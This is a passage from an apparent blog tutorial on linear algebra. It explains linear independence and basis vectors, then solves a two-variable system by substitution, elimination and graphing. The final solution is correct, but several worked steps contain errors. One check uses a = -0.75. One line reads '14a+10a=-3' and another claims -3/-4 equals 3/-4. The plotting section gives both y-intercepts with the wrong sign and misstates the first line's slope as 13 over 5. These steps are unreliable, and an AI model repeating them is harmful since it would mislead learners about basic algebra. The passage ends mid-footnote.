15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><blockquote><p>3Blue1Brown has great visualisations in his videos that better demonstrate exactly how this limits access to further span in a 3-dimensional vector space.</p></blockquote><div id="youtube2-RsKJNDTb8nw" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;RsKJNDTb8nw&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/RsKJNDTb8nw?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h1><strong>Linear independence</strong></h1><p>When each vector in a set of vectors <strong>can not</strong> be defined as a linear combination of the other vectors, they are said to be <strong>linearly independent</strong>.</p><p>That is, for all values of <em>a:</em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{w} \\neq a\\vec{v}&quot;,&quot;id&quot;:&quot;GHVXAWHLIA&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Or for all values of <em>a </em>and <em>b:</em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{u}  \\neq a\\vec{v} + b\\vec{w}&quot;,&quot;id&quot;:&quot;SRCLVTKRFS&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>For example:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\n\\vec{v}_1 = \\begin{pmatrix}1 \\\\2 \\\\3\\end{pmatrix} ,\\ \\vec{v}_3 = \\begin{pmatrix}8 \\\\8 \\\\8\\end{pmatrix}&quot;,&quot;id&quot;:&quot;CLQPAXMAAR&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>These vectors are linearly independent.</p><p>To check if the vectors are linearly independent, there should be no scalar, <em>k, </em>such that:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;v \n3\n&#8203;\n \n&#8203;\n \\neq k&#8901; \nv \n1\n&#8203;\n \n&#8203;\n&quot;,&quot;id&quot;:&quot;OKPNCDLZBN&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>In other words, each component of <em>v3 </em>can not be equal to the corresponding components <em>v1 </em>multiplied by <em>k.</em></p><p>For:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{v}_1 = \\begin{pmatrix}1 \\\\2 \\\\3\\end{pmatrix} ,\\ \\vec{v}_3 = \\begin{pmatrix}8 \\\\8 \\\\8\\end{pmatrix}&quot;,&quot;id&quot;:&quot;KNUWYSBFSI&quot;}" data-component-name="LatexBlockToDOM"></div><p>This would require:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;k&#8901;1=8 ,\\ k&#8901;2=8 ,\\ k&#8901;3=8&quot;,&quot;id&quot;:&quot;GKKMAUBSBA&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>To solve for <em>k</em> in the components:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\begin{array}{c}\n\\text{From the first component:} \\quad k = \\frac{8}{1} = 8 \\\\\n\\text{From the second component:} \\quad k = \\frac{8}{2} = 4 \\\\\n\\text{From the third component:} \\quad k = \\frac{8}{3} \\approx 2.67\n\\end{array}&quot;,&quot;id&quot;:&quot;YFKGFGLIDE&quot;}" data-component-name="LatexBlockToDOM"></div><p>The vectors are linearly independent since no single scalar <em>k</em> satisfies the equation for all components.</p><p>Again, this is challenging to represent on a 3-dimensional plane (see the video above!), but taking the first two components illustrates linearly independent vectors.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bO_x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d5e1ff3-5b4a-4e33-9a8a-6a5aca66961a_903x902.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bO_x!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d5e1ff3-5b4a-4e33-9a8a-6a5aca66961a_903x902.png 424w, https://substackcdn.com/image/fetch/$s_!bO_x!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d5e1ff3-5b4a-4e33-9a8a-6a5aca66961a_903x902.png 848w, https://substackcdn.com/image/fetch/$s_!bO_x!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d5e1ff3-5b4a-4e33-9a8a-6a5aca66961a_903x902.png 1272w, https://substackcdn.com/image/fetch/$s_!bO_x!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d5e1ff3-5b4a-4e33-9a8a-6a5aca66961a_903x902.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bO_x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d5e1ff3-5b4a-4e33-9a8a-6a5aca66961a_903x902.png" width="903" height="902" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9d5e1ff3-5b4a-4e33-9a8a-6a5aca66961a_903x902.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:902,&quot;width&quot;:903,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:56597,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bO_x!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d5e1ff3-5b4a-4e33-9a8a-6a5aca66961a_903x902.png 424w, https://substackcdn.com/image/fetch/$s_!bO_x!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d5e1ff3-5b4a-4e33-9a8a-6a5aca66961a_903x902.png 848w, https://substackcdn.com/image/fetch/$s_!bO_x!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d5e1ff3-5b4a-4e33-9a8a-6a5aca66961a_903x902.png 1272w, https://substackcdn.com/image/fetch/$s_!bO_x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d5e1ff3-5b4a-4e33-9a8a-6a5aca66961a_903x902.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h2>A note on basis vectors</h2><p>The technical definition of a <em><strong>basis</strong></em><strong> </strong>of a vector space is a set of <em><strong>linearly</strong></em><strong> </strong><em><strong>independent</strong></em><strong> </strong>vectors that <em><strong>span</strong></em><strong> </strong>the full space.</p><ul><li><p><strong>Linearly Independent</strong>: No vector in the set can be written as a linear combination of the others. This ensures that all vectors in the basis contribute uniquely to spanning the space.</p></li><li><p><strong>Span</strong>: The set of vectors can be combined (through linear combinations) to form every possible vector in the space.</p></li></ul><p>If you have a basis for a vector space, you can represent any vector in that space as a unique linear combination of the <strong>basis</strong> <strong>vectors</strong>.</p><p><em><strong>i&#770;</strong></em> and <em><strong>j&#770; </strong></em>are the &#8220;basis vectors&#8221; of the <em>xy </em>coordinate system.</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\hat{\\imath} = \\begin{pmatrix} 1 \\\\ 0 \\end{pmatrix}, \\quad \\hat{\\jmath} = \\begin{pmatrix} 0 \\\\ 1 \\end{pmatrix}&quot;,&quot;id&quot;:&quot;PCEBZWDLYG&quot;}" data-component-name="LatexBlockToDOM"></div><p>In the <em>xy </em>coordinate system,</p><ul><li><p><em><strong>i&#770;</strong> </em>represents the unit vector in the direction of the <em>x</em>-axis. </p></li><li><p><em><strong>j&#770;</strong> </em>represents the unit vector in the direction of the<em> y-</em>axis</p></li></ul><div class="pullquote"><p><em>By taking linear combinations of these basis vectors, every possible 2-dimensional vector can be expressed.</em></p></div><p>Whenever vectors are described numerically, it implicitly assumes a choice of basis vectors, typically <em><strong>i&#770;</strong></em> and <em><strong>j&#770;</strong></em> in 2-dimensional Cartesian coordinates. Changing the basis vectors changes the representation of all vectors in that space, though the vectors themselves remain unchanged.</p><h1>A system of Linear Equations</h1><p>A linear combination of vectors by scalars is crucial in solving systems of linear equations. For instance, suppose a vector needs to be represented as a linear combination of two other vectors.</p><p>Consider the following vector:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\n\\vec{v}= \\begin{pmatrix}-13 \\\\2\\end{pmatrix}&quot;,&quot;id&quot;:&quot;PFQGPSOKCL&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Which needs to be the linear combination of:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{x}= \\begin{pmatrix}-14 \\\\2\\end{pmatrix}, \\quad \\vec{y} = \\begin{pmatrix} 5 \\\\ -1 \\end{pmatrix}&quot;,&quot;id&quot;:&quot;WEMCKOXZKX&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>In this situation, the equation solves for scalars <em>a </em>and <em>b, </em>where <em>a </em>and <em>b </em>represent the coefficients of <em>x </em>and <em>y, </em>respectively:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;a\\vec{x} + b\\vec\n{y} = \\vec{v}&quot;,&quot;id&quot;:&quot;JYAKHPCFKG&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>First, multiply each vector by its corresponding scalar:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\na \\begin{pmatrix}-14 \\\\2\\end{pmatrix} + b \\begin{pmatrix}5 \\\\-1\\end{pmatrix} = \\begin{pmatrix}-13 \\\\2\\end{pmatrix}&quot;,&quot;id&quot;:&quot;LLDXHFBAYE&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Which is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\n \\begin{pmatrix}(-14)a \\\\2a\\end{pmatrix} + \\begin{pmatrix}5b \\\\(-1)b\\end{pmatrix} = \\begin{pmatrix}-13 \\\\2\\end{pmatrix}&quot;,&quot;id&quot;:&quot;WNDGURVSLE&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>The above results gives two separate equations:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\begin{cases} \n\\begin{aligned}\n-14a + 5b &amp;= -13 \\\\\n2a - b &amp;= 2 \n\\end{aligned}\n\\end{cases}&quot;,&quot;id&quot;:&quot;GYUQLQCVOA&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>These equations form a s<strong>ystem of two equations with two unknowns.</strong></p><p>There are three theoretical methods to solve the equations.</p><h2>Substitution Method</h2><p>To solve a system of equations by substitution, first, isolate a variable from one of the equations and substitute it into the other. This reduces the system of equations to a single equation with a single unknown.</p><p><strong>Equation 1</strong></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;-14a + 5b = -13&quot;,&quot;id&quot;:&quot;NIXPJXACJK&quot;}" data-component-name="LatexBlockToDOM"></div><p><strong>Equation 2</strong></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;2a - b = 2&quot;,&quot;id&quot;:&quot;WPJVPSDKCU&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h4><strong>Step 1 - Solve one equation for one variable</strong></h4><p>Starting with <strong>Equation 2</strong> for <em>b </em>in terms of <em>a:</em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;2a - b = 2&quot;,&quot;id&quot;:&quot;XOHEGUFNKT&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>To isolate <em>b, </em>add <em>b </em>to both sides and subtract 2 from both sides:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;b  = 2a - 2&quot;,&quot;id&quot;:&quot;QVVFAURNSW&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Now <em>b </em>is expressed in terms of <em>a.</em></p><p></p><h4><strong>Step 2 - Substitute the expression into the other equation</strong></h4><p>Substitute the expression for <em>b </em>from <strong>Equation 2 </strong>into <strong>Equation 1:</strong></p><p>So Equation 1 goes from:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;-14a + 5b = -13&quot;,&quot;id&quot;:&quot;DXAMARMOKM&quot;}" data-component-name="LatexBlockToDOM"></div><p>to:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;-14a + 5(2a - 2) = -13&quot;,&quot;id&quot;:&quot;TGVIRDPMQK&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h4><strong>Step 3 - Simplify and solve for </strong><em><strong>a</strong></em></h4><p>Expand the equation:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;-14a + 10a - 10 = -13&quot;,&quot;id&quot;:&quot;QTEESVKGPC&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Combine like terms:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;-4a - 10 = -13&quot;,&quot;id&quot;:&quot;ZCFUSVAKKN&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Isolate the term with <em>a </em>by adding 10 to both sides<em>:</em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;-4a - 10 +10 = -13 + 10&quot;,&quot;id&quot;:&quot;KJEPEBQIOU&quot;}" data-component-name="LatexBlockToDOM"></div><p>becomes:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;-4a = -3&quot;,&quot;id&quot;:&quot;KCKFYIFBTO&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Divide both sides by -4 to solve for <em>a:</em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;a = \\frac{-3}{-4} = 0.75&quot;,&quot;id&quot;:&quot;KXDOGOAXGH&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h4><strong>Step 4 - Substitute back to find </strong><em><strong>b</strong></em></h4><p>Now that <em>a = 0.75, </em>substitute this value back into the expression for <em>b:</em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;b = 2a -2&quot;,&quot;id&quot;:&quot;BVOUAOZKGD&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Substitute <em>a = 0.75:</em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;b = 2(0.75) - 2&quot;,&quot;id&quot;:&quot;QAEHWMUKPS&quot;}" data-component-name="LatexBlockToDOM"></div><p>Which equals:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;b= 1.5 - 2&quot;,&quot;id&quot;:&quot;WUQZDEKJPK&quot;}" data-component-name="LatexBlockToDOM"></div><p>which is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;b= -0.5&quot;,&quot;id&quot;:&quot;QNBLWWRCPM&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h4><strong>Step 5 - Verify the solution</strong></h4><p>To ensure the solution is correct, substitute <em>a = -0.75 </em>and <em>b = -0.5 </em>back into the original equations.</p><h5><strong>Check Equation 1</strong></h5><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;-14a + 5b = -13&quot;,&quot;id&quot;:&quot;GAONZBULCX&quot;}" data-component-name="LatexBlockToDOM"></div><p>Substitute <em>a </em>for <em>0.75 </em>and <em>b </em>for -0.5:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;-14(0.75) + 5(-0.5)&quot;,&quot;id&quot;:&quot;CBCRPXOQXI&quot;}" data-component-name="LatexBlockToDOM"></div><p>this equates to :</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot; -10.5 - 2.5 = -13&quot;,&quot;id&quot;:&quot;NGMSSJTZRG&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h5><strong>Check Equation 2</strong></h5><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;2a - b = 2&quot;,&quot;id&quot;:&quot;BYFGJXCIXT&quot;}" data-component-name="LatexBlockToDOM"></div><p>Substitute <em>a </em>for <em>0.75 </em>and <em>b </em>for -0.5: </p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;2(0.75) - (-0.5)&quot;,&quot;id&quot;:&quot;XMXZIXSKEY&quot;}" data-component-name="LatexBlockToDOM"></div><p>and equates to:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;1.5+0.5=2&quot;,&quot;id&quot;:&quot;ZIDBSSTUFM&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h4><strong>Final answer:</strong></h4><p><strong>The solution to the system of equations is:</strong></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;a = 0.75 ,\\ b = -0.5&quot;,&quot;id&quot;:&quot;QTSHFWFEDJ&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>This solution satisfies both equations, confirming the calculations are correct.</p><h2>Elimination Method</h2><p>In this method, one of the variables is eliminated by enforcing the same absolute value for one of the coefficients (scalars) in the two equations. </p><p>The equations again are:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\begin{cases} \n\\begin{aligned}\n-14a + 5b &amp;= -13 \\\\\n2a - b &amp;= 2 \n\\end{aligned}\n\\end{cases}&quot;,&quot;id&quot;:&quot;VCCVPFNYBW&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>If Equation 2 is multiplied by 5, the equations become:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\begin{cases} \n\\begin{aligned}\n-14a + 5b &amp;= -13 \\\\\n(2*5)a - 5b &amp;= 2*5\n\\end{aligned}\n\\end{cases}&quot;,&quot;id&quot;:&quot;GJDHUKCKIH&quot;}" data-component-name="LatexBlockToDOM"></div><p>simplified to:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\begin{cases} \n\\begin{aligned}\n-14a + 5b &amp;= -13 \\\\\n10a - 5b &amp;= 10\n\\end{aligned}\n\\end{cases}&quot;,&quot;id&quot;:&quot;AMACQYVJIC&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h4>Step 1: Add the Equations</h4><p>Now, add the two equations to eliminate <em>b </em>and obtain a single equation with a single unknown:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;(-14a + 5b) + (10a - 5b) = -13 + 10&quot;,&quot;id&quot;:&quot;FGPTAPZYSU&quot;}" data-component-name="LatexBlockToDOM"></div><p>This becomes:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;14a+10a=&#8722;3&quot;,&quot;id&quot;:&quot;TUMUZLINZD&quot;}" data-component-name="LatexBlockToDOM"></div><p>Combine like terms:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;-4a = -3&quot;,&quot;id&quot;:&quot;VKCMIZYGKN&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h4>Step 2: Solve for <em>a</em></h4><p>To solve for <em>a, </em>isolate <em>a </em>by dividing both sides by -4:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot; \\frac{-3}{-4} = \\frac{3}{-4}&quot;,&quot;id&quot;:&quot;SZBJBRIMLH&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;a = \\frac{3}{4}&quot;,&quot;id&quot;:&quot;JBMZIKZIJR&quot;}" data-component-name="LatexBlockToDOM"></div><p>Or:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;a = 0.75&quot;,&quot;id&quot;:&quot;HLFMGOEVNZ&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h4>Step 3: Substitute back to Find <em>b</em></h4><p>Now that <em>a = 0.75, </em>substitute this value back into the expression for <em>b:</em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;2a - b = 2&quot;,&quot;id&quot;:&quot;RPXNGFEQFM&quot;}" data-component-name="LatexBlockToDOM"></div><p>Substitute <em>a = 0.75:</em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;2(0.75) - b = 2&quot;,&quot;id&quot;:&quot;TZARBRFYXV&quot;}" data-component-name="LatexBlockToDOM"></div><p>Which equals:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;1.5 - b = 2&quot;,&quot;id&quot;:&quot;RWYPVQFKIK&quot;}" data-component-name="LatexBlockToDOM"></div><p>Subtract 1.5 from both sides:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;-b = 0.5&quot;,&quot;id&quot;:&quot;EGVJZZBKQO&quot;}" data-component-name="LatexBlockToDOM"></div><p>Multiply both sides by -1:<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-2" href="#footnote-2" target="_self">2</a></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;b = -0.5&quot;,&quot;id&quot;:&quot;IRNNQRYFUM&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h4><strong>Final answer</strong></h4><p>This means scalars <em>a = 0.75 </em>and <em>b = -0.5 </em>represent the vector:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot; \\vec{v} = \\begin{pmatrix}-13 \\\\2\\end{pmatrix}&quot;,&quot;id&quot;:&quot;JXZGDDEFQO&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>as a linear combination of vectors <em>x </em>and <em>y</em>.</p><p>Substituting the vectors</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\n \\begin{pmatrix}-13 \\\\2\\end{pmatrix} = a\\ \\cdot \\begin{pmatrix}-14 \\\\2\\end{pmatrix} + b \\cdot \\begin{pmatrix}5 \\\\-1\\end{pmatrix}&quot;,&quot;id&quot;:&quot;HPJDAMLAPO&quot;}" data-component-name="LatexBlockToDOM"></div><p>is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\begin{pmatrix}-13\\\\2\\end{pmatrix} = 0.75 \\cdot \\begin{pmatrix}-14 \\\\2\\end{pmatrix} + (-0.5) \\cdot\\begin{pmatrix}5 \\\\-1\\end{pmatrix}&quot;,&quot;id&quot;:&quot;ZPKLFSKIZC&quot;}" data-component-name="LatexBlockToDOM"></div><p>is</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot; \\begin{pmatrix}-13 \\\\2\\end{pmatrix} = \\begin{pmatrix}-10.5\\\\1.5\\end{pmatrix}  + \\begin{pmatrix}-2.5 \\\\0.5\\end{pmatrix}&quot;,&quot;id&quot;:&quot;TBKYIWVLCC&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h1>Graphical  Method</h1><p>When using the graphical method to solve a system of linear equations by drawing the lines on a plane,  calculate the following:</p><h4><strong>Step 1: Slope-Intercept Form of Each Equation:</strong></h4><p>The general form of a linear equation is <em>y = mx + c</em>, where:</p><ul><li><p><em>m</em> is the slope of the line.</p></li><li><p><em>c </em>is the <em>y</em>-intercept (when <em>x </em>= 0<em>)</em>.</p></li></ul><p>For each equation, rearrange it into the slope-intercept form <em>y = mx + c.</em></p><p>Given the system of equations:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\begin{cases} \n\\begin{aligned}\n-14a + 5b &amp;= -13 \\\\\n2a - b &amp;= 2 \n\\end{aligned}\n\\end{cases}&quot;,&quot;id&quot;:&quot;KGVKPTTXKH&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p><strong>Equation1:</strong></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;&#8722;14a+5b=&#8722;13&quot;,&quot;id&quot;:&quot;PUVPPPPBIW&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>To solve for <em>b</em>, isolate <em>b </em>on one side:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;5b=14a&#8722;13&quot;,&quot;id&quot;:&quot;DBPHDBDCYL&quot;}" data-component-name="LatexBlockToDOM"></div><p>Now, divide by 5 to solve for <em>b</em>:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;b =  \\frac{14}{5}a - \\frac{13}{5}&quot;,&quot;id&quot;:&quot;GYTFKJMXVZ&quot;}" data-component-name="LatexBlockToDOM"></div><p>This is the slope-intercept form of the equation in terms of <em>y = mx +c.</em></p><p></p><p><strong>Equation 2:</strong></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;2a - b = 2&quot;,&quot;id&quot;:&quot;KANMLHOOIJ&quot;}" data-component-name="LatexBlockToDOM"></div><p>To solve for <em>b</em>, isolate <em>b </em>on one side:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;- b = -2a + 2&quot;,&quot;id&quot;:&quot;AMHZKRGUHG&quot;}" data-component-name="LatexBlockToDOM"></div><p>Now multiply the entire equation by -1 to solve for b:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;b=2a&#8722;2&quot;,&quot;id&quot;:&quot;QDUUGMOQXZ&quot;}" data-component-name="LatexBlockToDOM"></div><p>This is the slope-intercept form of the equation in terms of <em>y = mx +c.</em></p><h4></h4><h4>Step 2: <strong>Plot the Lines:</strong></h4><p><strong>Equation 1<br></strong>Start by plotting the <em>y-</em>intercept at:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;(0, \\frac{13}{5})&quot;,&quot;id&quot;:&quot;CUYTZKSIGC&quot;}" data-component-name="LatexBlockToDOM"></div><p>Use the slope to find another point. For every five units moved to the right, increase <em>b </em>by 13 units.</p><p><strong>Equation 2</strong></p><p>Start by plotting the <em>y</em>-intercept at:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;(0,2)&quot;,&quot;id&quot;:&quot;BFUSNYWHIP&quot;}" data-component-name="LatexBlockToDOM"></div><p>Use the slope 2 to find another point. For each 1 unit moved to the right, <em>b </em>increases by two units.</p><h4>Step 4: <strong>Find the Intersection Point:</strong></h4><p>The point where the two lines intersect is the solution of the system of equations.</p><p>This point corresponds to the values of <em>x </em>and <em>y</em> that satisfy both equations simultaneously.</p><p>In this case the point of intersection (the solution to the system of equations) is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;(\\frac{3}{4}, -\\frac{1}{2})&quot;,&quot;id&quot;:&quot;XENLKRXHVB&quot;}" data-component-name="LatexBlockToDOM"></div><p>or:</p><ul><li><p><em>a = 0.75</em></p></li><li><p><em>b = -0.5</em></p></li></ul><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-1" href="#footnote-anchor-1" class="footnote-number" contenteditable="false" target="_self">1</a><div class="footnote-content"><h4>Vectors vs. Points</h4><p>When thinking about individual vectors, conceptualise them as arrows. When dealing with a collection of vectors, it is easier to think of them as points in an <em>n-</em>dimensional vector space.</p></div></div><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-2" href="#footnote-anchor-2" class="footnote-number" contenteditable="false" target="_self">2</a><div class="footnote-content"><p>The goal is to solve for <em>b</em>. To do this, you need to isolate 